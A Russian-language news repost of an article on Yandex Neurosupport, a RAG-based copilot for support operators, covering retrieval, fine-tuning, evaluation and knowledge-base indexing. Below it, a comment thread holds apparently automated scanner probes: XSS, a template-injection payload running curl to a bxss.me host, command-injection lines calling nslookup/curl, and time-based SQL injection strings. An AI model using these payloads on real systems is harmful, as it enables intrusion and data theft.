Русский
EnglishCryptocurrencies:
9505 /
Markets: 114717
Market Cap: $ 3 663 340 658 986 /
24h Vol: $ 222 537 540 211 /
BTC
Dominance: 58.861607907734%
Новости
Сделали copilot-сервис для техподдержки и делимся секретами RAG c глубоким пониманием контекста
Сегодня мы запускаем Yandex Neurosupport — сервис, который генерирует умные подсказки для операторов контакт‑центра. Он выполняет функции второго пилота: нейросеть анализирует текстовые вопросы клиентов и предлагает оператору вариант ответа. В основе лежат облегчённые модели семейства YandexGPT, дообученные на инструкциях для операторов более чем 50 сервисов Яндекса. Cервис можно внедрить в свой интерфейс через Yandex Cloud по API или же развернуть в on‑premise‑окружении.
Технологическим ядром выступает RAG — звучит просто, но здесь не обошлось без добавления особой яндексовой магии. В этой статье вместе с ребятами из нашей команды ML B2B‑проектов, а также коллегами из команды базовой технологии, Yandex Cloud, «Маркета» и «Еды» расскажем подробнее, как вместе делали этот сервис и каких результатов достигли.
В чём боль ML в поддержке
По данным исследователей из Intercom, 45% служб поддержки уже используют нейросети и классические ML‑модели. Но зачастую многие задачи до сих пор решаются вручную, процессы получается автоматизировать до определённого уровня, а дальше эффективность снижается.
Это связано с тем, что стандартные решения часто используют строго описанные сценарии в графах, с фиксированными переходами. Такие графы довольно быстро разрастаются с развитием системы. Гораздо удобнее поддерживать базы знаний, но внедрить RAG‑подход вместо сценариев в графах бывает сложно.
Здесь можно вспомнить историю, как технологии связи распространялись в эпоху ADSL‑модемов. В тех регионах, куда модемы добрались рано, проникновение связи было хорошим и обеспечивало приемлемое качество связи. Но с появлением оптики скорости стали расти, а модемы уже не могли соревноваться с новой технологией.
Переподключать абонентов в таких регионах было дорого и нерентабельно, поскольку скорость увеличивалась всего на 30–50%. Больше повезло тем, кто сразу подключал оптику и получал качество связи на нужном уровне.
Если же компания уже развивает базу знаний и решает использовать RAG, то всё выглядит просто на первый взгляд. Берём модель‑эмбеддер, с её помощью преобразуем весь текст в базе знаний в вектор, складываем в векторную базу данных. Когда мы получим запрос от пользователя, преобразуем запрос в вектор, затем в базе данных найдём похожий вектор и соответствующие ему тексты, соединим это всё с системным промптом и отправим запрос в большую языковую модель. Profit! Но уже потом выясняются свои тонкости на каждом из этапов: и в части retrievаl, и в части generation.
На старте сразу несколько причин мешают сделать ML в техподдержке эффективнее:
Качество поиска сильно зависит от данных, на которых мы дообучаем и инферим модели.
Саму базу знаний нужно поддерживать в актуальном состоянии и следить за тем, как она написана: нужно отслеживать противоречия, полноту, учитывать сценарии переписывания базы.
Большое количество нужной для ответа информации содержится помимо самого диалога с пользователем в различных метаданных (например, информации о заказе со всеми нужными статусами).
Способы оценки качества с учётом особенностей сервиса могут различаться.
Есть свои особенности в построении индекса по базе знаний, которая используется для RAG.
Команда учла все эти пункты и множество других, проделав для этого достаточно объёмную работу. Наш пайплайн создания умного помощника для оператора состоит из нескольких важных компонентов.
В самом сердце — наши универсальные модели для поиска и генерации ответов в сценариях саппорта. За счёт этого мы обеспечиваем качественное понимание задачи: помочь клиенту и найти нужную информацию по базам знаний совершенно разного рода.
Поверх них при необходимости мы можем проводить дообучение под конкретные сервисы, чтобы учесть особенности общения с клиентом, редакционную политику и прочие тонкости.
И ещё один крайне важный этап, который очень часто недооценивают — работа с самой базой знаний, в том числе обработку разных форматов данных, которые необходимо превратить в качественный индекс, действительно помогающий решать проблемы клиентов.
Нередко все эти компоненты приводят к росту качества конечных ответов на 50 пп.
Пойдём по порядку и начнём с базовой технологии, о которой расскажет Света Маргасова @margasova09
Как устроена базовая технология Yandex Neurosupport
В нашем сервисе работает набор универсальных моделей, применимых для различных служб поддержки и не заточенных под одну конкретную предметную область — это мы и назовём базовой технологией.
В общем случае базовый сценарий сервиса выглядит так
В нашем RAG‑пайплайне есть модели для поиска релевантных фрагментов текста по базе знаний (retrieval‑часть), а также генеративная модель, которая выдаёт фразы‑подсказки для оператора, чтобы продолжить диалог с клиентом.
Для оценки качества генеративной модели мы сформировали сложную корзину из 12 различных сервисов и абсолютно разных задач и использовали nhb‑градации качества:
«хороший ответ» — полный ответ или хорошая реплика в случаях, когда сам контекст нерелевантен;
«частично хороший ответ» — ответ, требующий небольших доработок от оператора;
«плохой ответ» — нерелеватный или неподтверждённый ответ.
Пришли к такому результату:
bad | partly good | good | |
Deepseek v3 | 76% | 12% | 12% |
YandexGPT 5 | 64% | 22% | 14% |
Yandex Neurosupport | 43% | 17% | 39% |
Посмотрим по этапам, как этого достигли.
Retrieval
При работе с текстовыми данными все документы сначала нарезаются на логически связанные части — чанки. На retrieve‑этапе мы ранжируем эти чанки по релевантности запросу в две стадии:
На первой стадии отбираем пул кандидатов с помощью векторных моделей‑эмбеддеров, для этого заранее сохраняем все вектора чанков в базе знаний, а на этапе инференса считаем только вектор запроса.
На второй стадии переранжируем отобранный пул с помощью модели‑реранкера, которая видит одновременно и запрос, и документ и выносит вердикт о релевантности.
Сначала покажу, как происходило дообучение моделей на retrieval‑этапе, а затем расскажу, как оценивали качество и получали этот результат.
Обучение моделей
Для обучения моделей нам потребовалась разметка из диалогов и релевантных чанков. Такие обучающие данные мы набрали из логов служб поддержки нескольких десятков сервисов Яндекса, конечно же, анонимизировав их.
Помимо почанковых данных, мы также использовали разметку на предмет релевантности полных документов. Для сбора таких данных мы использовали несколько источников из журналов наших сервисов:
когда операторы отмечали полезные для ответа документы (подокументная релевантность);
если ответ оператора полностью скопирован из документа, то среди всех чанков, на которые разбивается документ, мы определяли как релевантные те, которые содержат ответ (почанковая релевантность).
Стоит отметить, что качество журналов всегда очень шумное, поэтому дополнительно использовали фильтрацию асессорами.
В качестве запроса брали анонимизированный диалог между клиентом и оператором, не перефразируя его.
Детали дообучения векторных моделей:
использовали Contrastive Loss;
в качестве негативов брали in‑batch‑негативы (для увеличения их числа использовали cross‑batch‑негативы со всех GPU при multiGPU‑обучении).
А если заменить архитектуру на cross‑encoder, то получим один из вариантов реализации модели‑реранкера.
Качество обучения эмбеддингов по внутреннему бенчмарку из пяти сервисов на моделях без дообучения и с дообучением.
hit_rate@3 | hit_rate@5 | hit_rate@32 | |
Yandex Embed | 0.327 | 0.405 | 0.653 |
Yandex Neurosupport Embed | 0.525 | 0.596 | 0.804 |
Yandex Embed Large | 0.402 | 0.475 | 0.713 |
Yandex Neurosupport Embed Large | 0.542 | 0.609 | 0.814 |
Оценка качества retrieval
Для оценки качества можно использовать два подхода (мы используем оба):
оценивать качество найденных чанков с помощью разметки редакторами;
собрать retrieve‑бенчмарк для автоматической оценки качества.
Второй подход довольно сложен, однако, позволяет быстрее итерироваться и проверять множество гипотез. Основная сложность сбора бенчмарка заключается в его полноте — для каждого запроса в корзине важно знать не только один из релевантных чанков, но в идеале и все релевантные, которые представлены в базе. Разметить все чанки для каждого запроса на практике почти невозможно за разумное время, поэтому, как правило, бенчмарк собирается итеративно — для каждого запроса размечается топ чанков от текущих лучших моделей и чанки, которые удалось сопоставить по логам, а по мере улучшения моделей и изменения выдачи чанки доразмечаются.
Ещё одна сложность в оценке качества, с которой мы столкнулись во время разработки системы — расхождение понятий витальности и релевантности чанков. Мы определили эти понятия следующим образом:
Релевантный чанк — подходящий для решения проблемы чанк по разметке универсальных редакторов, не погруженных в задачи поддержки конкретных сервисов.
Витальный чанк — чанк, который необходим для решения проблемы по мнению службы контроля качества поддержки конкретного сервиса. Принять решение о витальности возможно только в контексте всей базы знаний и набора правил, которым следуют операторы в рамках выбранного сервиса.
Пользователь интересуется, на какой стадии доставки находится его заказ. При этом в базе знаний есть документ, который помогает интерпретировать статусы этого заказа — мы видим их в метаинформации и можем дать ответ на основе этого документа. Без погружения в тему нет причин считать такой документ нерелевантным.
Однако опытный оператор сервиса может посмотреть на метаинформацию и увидеть, что способ доставки — особенный, для которого есть отдельная страница в базе знаний, и правила ответа в таком случае будут отличаться. И вот такой документ уже будет являться витальным. В релевантном документе (или тем более чанке) может не быть информации, которая бы отразила, что для данного диалога документ не применим. Чтобы это понять надо быть глубоко погруженным в специфику работы конкретного сервиса.
Говоря об универсальных моделях, которые применимы к различным сервисам, довольно сложно покрыть все нюансы витальности для всевозможных сервисов. В рамках разработки базовых моделей во всех разметках качества мы придерживаемся понятия релевантности, но на этапе применения пайплайна к конкретному сервису стараемся использовать витальность, размечая результаты службой контроля качества соответствующего сервиса.
Генеративная модель
Для достижения нужного нам качества дообучение прошли не только модели на retrieval‑этапе, но и модели, генерирующие ответы. Для обучения специализированной генеративной модели мы делаем дополнительные alignment‑стадии поверх instruct‑моделей семейства YandexGPT 5.
Сначала мы пробовали использовать генеративные модели без дообучения, и на практике увидели две основные проблемы, характерные для любых необученных генеративок:
модель выдаёт много частично хороших ответов;
модель плохо отвечает на нерелевантных чанках (простыми словами, она плохо формулирует вежливый отказ от ответа на вопрос не по адресу).
Чтобы улучшить качество мы делаем дополнительную стадию SFT‑обучения, для которого используем идеальные ответы, написанные редакторами. Стоит отметить, что мы не используем реальные ответы операторов из логов, они довольно шумные по нескольким причинам:
реальные ответы операторов зачастую не обладают свойством подтверждённости по чанкам, которое мы в обязательном порядке требуем от модели. В частности, не всегда нам хватает информации о состоянии диалога на момент ответа оператора;
операторы могут ошибаться.
Для стадии DPO мы не собирали разметку редакторами, а использовали синтетический DPO, в котором выбор позитивного и негативного ответа происходит без участия человека. Мы пришли к следующей схеме сбора данных для DPO:
берём тот же набор инстрактов, что и для SFT‑стадии;
генерируем ответы‑кандидаты набором лучших моделей;
позитивный и негативный ответ отбираем по ансамблю ревордов: базовые реворд‑модели YandexGPT, набор специализированных для Yandex Neurosupport ревордов, обученных на разных подмножествах данных;
Замечание: для дообучения специализированных ревордов нам всё‑таки пришлось разметить небольшой сэмпл данных на предмет ранжирования ответов по качеству.дополнительно на позитивный ответ добавляем ограничение по подтверждённости с golden‑ответом из SFT.
Оценка качества генеративной модели
Для оценки качества на этом этапе мы собрали репрезентативный набор диалогов из 12 различных поддержек сервисов Яндекса. Данные мы также тщательно анонимизировали и сделали упор на разнообразие сервисов, чтобы наша оценка была максимально репрезентативной. Для всех диалогов заранее прокачали универсальный retrieval и собрали топ-3 чанка из базы знаний.
Дополнительно в корзине выдержана пропорция по качеству retrieval:
70% диалогов содержат среди топ-3 релевантные чанки, информации в которых достаточно для решения проблемы клиента;
30% диалогов содержат топ-3 нерелевантных чанка, в таких диалогах мы ожидаем ответ наподобие вежливого отказа «Недостаточно информации для ответа» (фраза для такого ответа явно прописана в промпте). Такие подсказки в дальнейшем не показываются оператору.
Важной особенностью оказалась настройка качества модели на нерелевантных чанках (способность вежливо отказываться от ответа). Для достижения наилучшего баланса мы подбирали пропорцию таких ответов в обучении на каждой стадии. Мы пришли к следующей пропорции: в SFT — 7% вежливых отказов, в DPO — 10% примеров с позитивным вежливым отказом, 5% примеров с негативным вежливым отказом.
Теперь, когда у нас есть такие хорошие базовые модели, займёмся их доработкой под конкретные сервисы. Тут нам помогут Егор Кашпар @shaun_the_sheep и Максим Зайцев.
Дообучение моделей под конкретные сценарии
В описании базовой технологии мы рассказали про обучение универсальных эмбеддеров. Но когда мы дообучаем эти модели под специфическую предметную область, можно применить ещё пару лайфхаков.
Подготовка данных. Есть несколько вариантов для дообучения эмбеддеров:
Попытаться понять правильный документ по ответам операторов. Используем ответ оператора, чтобы найти шаблоны, которые он использовал для ответа пользователю. А затем приклеиваем к диалогу все документы, которые содержат хотя бы один из найденных шаблонов.
Поскольку операторы тоже ошибаются, можно фильтровать ответы по разным операторам, например, с учётом их опыта, либо использовать умную LLM. Просим такую модель проверить соответствие документа ответу оператора, а также проверить сам ответ на соответствие диалогу.
Есть стандартные махинации для обучения пары «embed + rerank»: используем negative sampling и считаем негативными пары, которые отфильтровала LLM.
Если мы работаем с диалогами, в выборку можно добавить пары «диалог + документы», в которых документы отвечают на один из предыдущих уже решённых вопросов, и дать такой паре таргет 0. Там можно акцентировать внимание эмбеддера на последнем вопросе клиента, по которому и нужно находить ответ.
Выборку стоит почистить от вопросов, не связанных с темой сервиса. Можно оставить только те примеры, где генеративная модель ответила по какому‑то документу. Также можно почистить выборку с помощью LLM.
Похожие методы можно применить при подготовке обучающей выборки для генератора. Но на этапе генерации особенно важно тщательно поработать с метаинформацией, поскольку обычно она представляет из себя пары «ключ — значение», и далеко не всегда по содержимому базы знаний понятно, на какие поля стоит смотреть. Также важно убедиться, что метаданные не противоречат содержимому диалогов.
Хороший пример использования метаданных — это обогащение контекста информацией по статусам заказов
Теперь про адаптацию стадии переранжирования и оценку качества в конечных сервисах расскажут Алексей Островский @good_soup и Таймураз Тибилов @timtibilov
Стадия переранжирования. Помимо больших универсальных моделей для конкретного сервиса можно попробовать и подходы из классического ML. Особенно хорошо показывает себя СatBoost, так как он неплохо работает с эмбеддингами как фичами, а также обладает очень хорошей скоростью.
В качестве признаков или фичей мы чаще всего останавливаемся на следующих:
эмбеддинг документа;
эмбеддинг диалога;
косинусная близость между ними (диалог‑документ);
ранк документа, упорядоченный по косинусной близости.
Умножив это на количество ретриверов в multiretrieve‑подходе, получаем достаточный список признаков (фичей). При желании на этом этапе можно вложить больше информации о документах, специфичной для сервиса, например, о частоте использования документа операторами.
Конечно, использовать эмбеддинги целиком было бы неблагоразумно, поэтому предварительно сжимаем их с помощью PCA.
И теперь мы можем обучить классификатор, показывающий необходимый score полезности документа к диалогу. Отсортировав по этому значению, получаем наш топ документов. Как итог — у нас прирост метрики качества поиска ещё на 5–10 пп.
Оценка качества ответов на внедрении
В условиях практически любого проекта внедрения RAG встаёт закономерный вопрос: как оценивать качество внедрённой модели? Идеально — на готовой размеченной выборке: есть пользовательский запрос, есть эталонный ответ, есть условно метка «хорошо/плохо». Разметки — наилучший способ как отслеживать изменения в логике ответа, так и обогащать данные для обучения. Но, как мы уже говорили в самом начале, разметить все чанки для каждого запроса очень сложно. А также у каждого сервиса есть множество тонкостей (вспомним те же витальные документы), поэтому используются несколько способов.
Оценки на основе разметок
У нас запускается много разметок, основные направления: sbs‑оценка качества подсказок и оценка релевантных документов в бенче, а также оценка переписывания базы знаний.
Чуть подробнее о каждой.
Оценка качества подсказок определяет качество генерации ответа. Наш главный инструмент в замере итогового результата, является ещё и самым большим направлением. Логика разметки следующая:
Для начала определяем, можно ли вообще из имеющейся метаинформации и текста диалога сгенерировать ответ. Сомнений здесь может быть несколько: например, если в тексте был прислан визуальный объект (скриншот, фото), если требуется активное действие для перевода между линиями, нужен дополнительный анализ с помощью сервисов отслеживания товара, или же просто диалог неинформативный.
Далее в слепом перемешивании разметчику предстоит выставить оценку сгенерированной подсказки по метаинформации обращения и тексту самого диалога. Также иногда подмешиваем реальный ответ оператора, чтобы оценить согласованность разметки. Возможные оценки такие:
1 — Критически плохо;
2 — Бесполезно;
3 — Требует значимых правок;
4 — Можно отправить с минимальными правками;
5 — Идеальный ответ.
Эта разметка полезна, поскольку она не только позволяет оценить качество моделей, но и приблизительно показывает прокси‑метрику экономии АХТ. Её вычисляем с помощью умножения оценки на коэффициент, конвертируемый в ускорение/замедление ответа.
Мы намеренно в этот шаг не включаем список релевантных документов, чтобы выделить этот этап отдельно и упростить разметку.
Оценка релевантных документов. Это скрытая, но очень важная разметка, которая показывает качество до момента генерации. С помощью неё можно не только отвалидировать автоматически собранный бенчмарк, но и проверить этап ранжирования перед генерацией.
Мнение асессоров достаточно разнятся, из‑за чего возникает шум. В качестве решения этой проблемы составляем инструкции, которые исключают любые неопределенности. Их знание проверяется на экзамене перед началом выполнения заданий.
Для промежуточных оценок качества и ускорения итераций обучения моделей сильно помогают автоматические процессы оценок, про которые расскажет Тимур Сухарев @tsuharev
Как оценить качество с помощью reasoning-моделей без ручной разметки
На практике разметка — довольно дорогой процесс, особенно если необходимо привлекать службу контроля качества, ресурс которой весьма ограничен.
Чтобы ускорить разработку и не перегружать разметку, мы начали использовать для оценки качества reasoning‑модели, включая нашу, и построили вокруг них трёхэтапную методику автоматической оценки:
Есть ли информация в документах? Первый промпт проверяет, содержат ли подобранные для контекста чанки из базы знаний ту информацию, что необходима для ответа на пользовательский запрос. Это позволяет понять, насколько retrieval‑часть справляется с задачей.
Насколько корректен ответ модели с учётом документов? Вторая модель, уже на основе найденных документов, анализирует сгенерированный ответ и сравнивает его с содержимым источников. С помощью этого этапа смотрим, не галлюцинирует ли модель, не искажает ли факты, не добавляет ли что‑то лишнее.
Как звучит ответ, если смотреть только на запрос? На третьем этапе reasoning‑модель оценивает финальный ответ, не имея доступа к документам, — только на основе запроса. Это приближается к глазами обычного пользователя: понятно ли, точно ли, уместно ли, полезно ли.
Комбинируя оценки с трёх точек зрения, получаем агрегированный score, который качественно коррелирует с человеческой оценкой. В пилотах с заказчиками совпадение шкал достигает 70% — достойный результат при полном отсутствии ручной разметки. Так что даже без идеальных датасетов можно строить вменяемую систему оценки RAG‑решений.
Теперь перейдём к последнему и критически важному компоненту нашего пайплайна — к подготовке и работе с базой знаний, про которую также поведает Тимур @tsuharev
Работа с индексом
Построение индекса по базе знаний, которая используется для RAG, начинается с работы над самой документацией. Базы знаний бывают со всевозможными данными, от экселек до ворда на тысячи страниц. Главная проблема — что удобно человеку, далеко не всегда удобно машине и может быть совершенно нечитаемо для парсера.
На внедрении мы сталкиваемся с разными типами корпоративных баз знаний, которые условно можно разделить на три больших категории, каждая со своим подходом к парсингу, структуризации и индексации.
Структурированные support‑базы, которые содержат описание типовых проблем и алгоритмы их решения. Часто такие данные уже лежат в базе данных, откуда их можно выгрузить в виде удобного JSON. Идеальный вариант для машинной обработки, особенно если каждое решение можно превратить в отдельный чанк с понятным заголовком и применимостью по условиям.
Неструктурированные знания первого уровня — текстовая документация, часто предназначенная для внутренних нужд службы поддержки. Такие БЗ требуют полноценного конвейера: парсинг, распознавание, структуризация, нарезка и нормализация.
FAQ/чат‑бот стилистика — базы в формате «вопрос — ответ». Сюда же отнесём огромные справочники по продукции, услугам, тарифам, адресам — нередко формально оформленные как контент для ботов. Такие базы хорошо ложатся в retrieval‑часть RAG и позволяют строить эффективные чат‑решения при минимальной генерации.
Даже у одного заказчика могут использоваться все три формата. Так что для построения работающей RAG‑системы важно понимать, с каким видом данных вы имеете дело, — и подстраивать конвейер обработки текста под специфику.
Что важно с точки зрения подготовки данных
Разметка документа и способы нарезки текста на чанки. От выбранной стратегии нарезки зависит качество обработки текста, особенно в задачах, связанных с поиском, генерацией или анализом контекста. Для эффективной интеграции ИИ документы требуют нормализации: логического деления, выделения смысловых блоков, выравнивания по структуре и, желательно, переноса в формат, удобный для парсинга и нарезки.
Один из удобных подходов — использовать уже существующую разметку документа. Например, Markdown позволяет иерархически структурировать материал: заголовки, списки, абзацы — всё это даёт естественную «сетку», по которой можно разбить документ. Если разметки нет, но есть оглавление — это тоже может стать опорной точкой для нарезки. Но что если клиент не планирует использовать Yandex Neurosupport в режиме self‑сервиса и хочет запросить помощь в подготовке данных от нашей ML‑команды — как мы могли бы автоматизировать эти задачи на своей стороне?
Для этого мы создали собственный пайплайн для предподготовки документов и попробовали несколько подходов.
На полях: что не так (и что так) с опенсорсом для этих задачМы в Яндексе очень любим опенсорс, это мощный инструмент и движущая сила современного стека технологий. Однако у медали есть обратная сторона — неидеальности, с которыми время от времени приходится сталкиваться.
Например, при интеграции LangChain и работе с семантической нарезкой текста мы столкнулись с граничным случаем: в некоторых реализациях, при наличии всего одного предложения, механизм нарезки работал некорректно. Более того, при использовании рекурсивной нарезки в одной из версий библиотеки возникал баг, из-за которого слова непредсказуемо склеивались при формировании чанков.
А что насчёт LLM для парсинга документов? Один из частых вопросов при обработке неструктурированных данных: «А зачем вообще парсить? Сейчас же куча больших языковых моделей — можно просто скормить документ LLM, и всё само распарсится, правда?». Да, так тоже можно. Но с оговорками и с осторожностью.
Сценарии, где LLM действительно отлично работают, — это короткие или средние по объёму документы: страница текста, краткая инструкция, небольшая спецификация.
Но как только вы сталкиваетесь, скажем, с документом на 120 000 токенов (в моей практике был и на 1,5 миллиона) — начинается совершенно другая история.
Приходится нарезать, использовать вспомогательные стратегии, например, «chunk + reassemble». Иначе можно встретиться с тем, что LLM в таких случаях склонны... заниматься суммаризацией. А точность данных нередко критична, например, в юридических, финансовых, технических документах.
При этом в документации встречается не только текст. Ещё работа с базами знаний — не только тексты и абзацы. Во‑первых, на практике часто встречаются таблицы. К сожалению, они бывают со сложным оформлением, смещениями или многословными заголовками, которые трудно адекватно распарсить. Во‑вторых, информация может быть в виде иллюстраций, схем, графиков и других изображений. На этапе машинной обработки по картинке сложно понять, это просто иллюстрация к тексту (например, скриншот), или же уникальная информация, которой в текстовой части документа нет.
На помощь приходят два класса технологий: OCR для извлечения текста с изображений, скриншотов и сканов и визуально‑текстовые модели (VLM), которые также способны понять контекст изображенного.
Отдельный вид боли — документация с алгоритмическими диаграммами, например, схемами поведения службы поддержки. Также в сложные случаи попадёт и документация в виде диаграмм баз данных. В таком случае без привлечения VLM‑моделей уже не обойтись.
Универсального рецепта для обработки всех изображений нет, каждое из них требует анализа. Мы, как правило, реализуем условную логическую проверку — если изображение содержит читаемый текст, применяем OCR. Если нужно «понять» объект в целом — используем VLM, давая модели инструкцию объяснить, что изображено и в какой части документа это применяется.
Такой подход позволяет извлекать полезную информацию даже из визуального контента, который ранее оставался «слепым пятном» для систем поиска и генерации ответов.
Как эти проблемы решаются в нашем конвейере обработки
При подготовке данных для RAG‑системы мы в первую очередь явно извлекаем из текста заголовки (тайтлы) и контекстуальные описания (semantic titles) для чанков. Это не просто «красивые подписи» — это фундамент, который влияет на релевантность поиска и точность ответов. Так, если заголовки слишком общие (например, «Инструкция» или «Раздел 5»), также используются отдельные модели для контекстуализации, где нейросеть анализирует содержимое чанка и формирует его краткое описание.
Итоговая цепочка обработки разнородной документации в сервисе выглядит так — всё укладывается в конвейер. У нас есть несколько модулей («коробок») с более‑менее универсальными парсерами и стратегиями нарезки. При необходимости подтягиваются дополнительные инструменты — OCR и VLM, если попадаются сканы, схемы или картинки с важной информацией. На выходе получаем нормализованный контент в Markdown‑подобном формате.
Далее запускаем стандартный пайплайн: разбивка на чанки, генерация эмбеддингов, индексация — и всё это идёт в RAG‑систему. Такой подход позволяет закрывать до 70% типов корпоративной документации без ручной работы в каждом новом проекте.
Частота обновления документации и влияние на индекс RAG. Документация может меняться очень часто: по нашим наблюдениям, в некоторых сервисах до трети контента редактируется каждый месяц. Если при этом индекс не обновляется, система начинает «говорить прошлым»: отвечает на основе устаревших эмбеддингов, а не актуальной информации. Лучшим решением будет автоматизировать переиндексацию: отслеживать изменённые документы, обновлять эмбеддинги и аккуратно замещать старые чанки в базе.
Как итог, практика показывает, что такая дотошная работа с индексом — это не просто «предобработка», а ключевой рычаг повышения качества в RAG‑системах.
В одном из наших кейсов переход от базового индекса (с быстрым эмбеддером и без особой нарезки чанков) к более проработанному пайплайну дал рост покрытия релевантных ответов с 20% до 65% — и это без дообучения модели или кастомных эмбеддингов.
Мы взяли стандартную генеративную модель и дефолтный эмбеддер, но тщательно поработали с индексом:
грамотно нарезали чанки по смыслу,
варьировали их размер,
придумали осмысленные заголовки,
убрали шум,
классифицировали типы контента,
и выстроили кастомную стратегию выбора кандидатов на этапе retrieval.
Если поверх этого немного поиграть с промптами в генеративной части, то можно легко добавить ещё 10–15% по метрикам релевантности ответа и полноты.
В этой статье мы поделились нашим опытом — рассказали о разных подходах, подводных камнях и собственных лайфхаках, которые появились в результате реальных внедрений наших решений и тщательного анализа возникающих проблем. Всё, о чём мы пишем, проверено на практике.
Но останавливаться на достигнутом мы не собираемся. Мы продолжаем совершенствовать наши модели и создавать новые полезные инструменты, которые упрощают процесс работы и повышают качество поддержки. Впереди — ещё больше автоматизации: агенты, которые самостоятельно смогут собирать всю необходимую оператору информацию из разных источников, а также новые инструменты для поддержания и формирования качественной базы знаний.
Мы уверены, что всё это сделает работу поддержки удобнее, а опыт пользователей — приятнее и эффективнее.
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
